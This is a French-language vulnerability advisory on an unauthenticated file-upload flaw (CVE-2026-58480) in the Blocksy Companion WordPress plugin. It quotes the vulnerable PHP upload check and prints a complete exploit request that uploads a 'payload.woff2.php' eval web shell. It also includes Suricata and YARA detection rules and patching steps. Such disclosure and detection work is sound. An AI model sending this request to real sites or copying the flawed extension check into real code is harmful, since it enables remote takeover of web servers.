Aller au contenu

CVE-2026-58480 : téléversement arbitraire de fichiers non authentifié dans blocksy companion Pro menant à une RCE

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU CMS D'ENTREPRISE

Cible : Extension WordPress Blocksy Companion Pro
Confiance : 98%
97 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue à la CVE-2026-58480 un score critique de 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) et le CVSS v4.0 un score de 9.2 Critique (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H). Le score de menace Hermes s'établit à 97 (CRITIQUE), motivé par la capacité d'écriture arbitraire de fichiers sans authentification menant immédiatement au dépôt d'un web shell PHP.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-58480: Blocksy Companion Pro Unauthenticated Arbitrary File Upload Remote Code ExecutionVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTBlocksy Companion Pro
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Blocksy Companion Pro documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique & matrice des versions affectées

Section intitulée « 1. Contexte technique & matrice des versions affectées »

Blocksy Companion est déployé sur plusieurs centaines de milliers de sites WordPress pour enrichir le thème Blocksy avec des en-têtes dynamiques, la mise en cache de polices locales et des avis enrichis.

ParamètreSpécification TechniqueContexte Threat Intelligence
Identifiant CVECVE-2026-58480Alertes officielles NVD, Wordfence et Patchstack
Faiblesse CWECWE-434 (Unrestricted File Upload)Validation par sous-chaîne erronée sur les noms de fichiers
Vecteur réseauHTTP/HTTPS (80/TCP, 443/TCP)Requête AJAX non authentifiée sur /wp-admin/admin-ajax.php
Composant vulnérableFonction save_attachmentsContrôleurs de téléversement de médias
Versions affectées<= 2.1.46Versions gratuites et Pro de Blocksy Companion
Versions corrigées2.1.47Correctif officiel de sécurité

2. Analyse approfondie du mécanisme de vulnérabilité

Section intitulée « 2. Analyse approfondie du mécanisme de vulnérabilité »

L’origine de la faille réside dans le filtrage des extensions autorisées :

// Extrait vulnérable dans Blocksy Companion <= 2.1.46
public function save_attachments( $files ) {
$allowed_extensions = ['woff', 'woff2', 'ttf', 'jpg', 'png'];
foreach ( $files as $file ) {
$filename = sanitize_file_name( $file['name'] );
$valid = false;
// FAILLE : strpos() autorise les doubles extensions !
foreach ( $allowed_extensions as $ext ) {
if ( strpos( $filename, '.' . $ext ) !== false ) {
$valid = true;
break;
}
}
if ( ! $valid ) {
continue;
}
$upload_dir = wp_upload_dir();
move_uploaded_file( $file['tmp_name'], $upload_dir['path'] . '/' . $filename );
}
}

Étant donné que strpos($filename, '.woff2') !== false renvoie true pour shell.woff2.php, le fichier est déplacé directement dans le répertoire public wp-content/uploads/ sans altérer son extension d’exécution.


3. Déroulement de l’attaque & déploiement de web shell

Section intitulée « 3. Déroulement de l’attaque & déploiement de web shell »

L’attaquant transmet une requête multipart non authentifiée vers l’interface AJAX :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: cible.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX
------WebKitFormBoundaryX
Content-Disposition: form-data; name="action"
blocksy_save_review_attachments
------WebKitFormBoundaryX
Content-Disposition: form-data; name="attachments[]"; filename="payload.woff2.php"
Content-Type: font/woff2
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryX--

Le script malveillant devient instantanément exécutable à l’adresse :

https://cible.example.com/wp-content/uploads/2026/09/payload.woff2.php

alert http any any -> $HTTP_SERVERS any (
msg:"HERMES EXPLOIT - Téléversement arbitraire Blocksy Companion (CVE-2026-58480)";
flow:to_server,established;
http.uri; content:"admin-ajax.php";
http.request_body; content:"filename=";
pcre:"/filename="[^"]+\.(woff|woff2|ttf|jpg|png)\.php"/Ui";
classtype:web-application-attack;
sid:202658480; rev:1;
)
rule Blocksy_Companion_Exploit_Artifact {
meta:
description = "Détecte les web shells téléversés via la CVE-2026-58480 de Blocksy Companion"
author = "Hermes Codex Threat Research"
date = "2026-09-12"
reference = "CVE-2026-58480"
strings:
$php_tag = "<?php"
$eval = /eval\s*\(\s*\$_(POST|GET|REQUEST)/
condition:
uint32(0) == 0x68703f3c and $eval
}

  1. Mise à jour de l’extension blocksy companion : Mettre à jour immédiatement vers la version 2.1.47 ou supérieure :

    Fenêtre de terminal
    wp plugin update blocksy-companion
  2. Assainissement des répertoires de téléversement : Inspecter wp-content/uploads/ à la recherche de scripts PHP résiduels :

    Fenêtre de terminal
    find wp-content/uploads/ -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
  3. Désactivation de l’exécution PHP dans les répertoires d’upload : Configurer le serveur HTTP pour interdire l’interprétation PHP dans wp-content/uploads/.